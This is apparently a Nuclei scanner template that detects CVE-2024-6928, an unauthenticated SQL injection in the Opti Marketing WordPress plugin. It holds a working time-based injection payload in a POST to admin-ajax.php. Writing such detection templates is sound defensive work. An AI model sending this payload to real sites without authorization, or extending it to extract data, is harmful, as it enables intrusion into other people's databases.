Opti Marketing <= 2.0.9 - SQL Injection

id: CVE-2024-6928

info:
  name: Opti Marketing <= 2.0.9 - SQL Injection
  author: s4e-io
  severity: high
  description: |
    The Opti Marketing plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 2.0.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can exploit SQL injection to extract, modify, or delete sensitive database information, potentially compromising the entire WordPress installation and all stored data.
  remediation: |
    Update Opti Marketing plugin to a version later than 2.0.9 to address the SQL injection vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/opti-marketing/opti-marketing-209-unauthenticated-sql-injection
    - https://wpscan.com/vulnerability/7bb9474f-2b9d-4856-b36d-a43da3db0245/
    - https://nvd.nist.gov/vuln/detail/cve-2024-6928
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-6928
    epss-score: 0.03292
    epss-percentile: 0.88019
  metadata:
    max-request: 2
    vendor: opti-marketing
    product: opti-marketing
    framework: wordpress
    publicwww-query: "/wp-content/plugins/opti-marketing"
  tags: time-based-sqli,cve,cve2024,wpscan,wp-plugin,wp,wordpress,opti-marketing,sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/opti-marketing")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=save_article&postId=(select*from(select(sleep(6)))a)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100e4d304ae19ed03af57c9325d8d2448dd06d6d952a87d4c81a3e21ca8146ce58902201fe32f7c84ff7e79c5142d9ef3ce2bea673e1b0e74516098ac812456f3e01db2:922c64590222798bb761d5b6d8e72950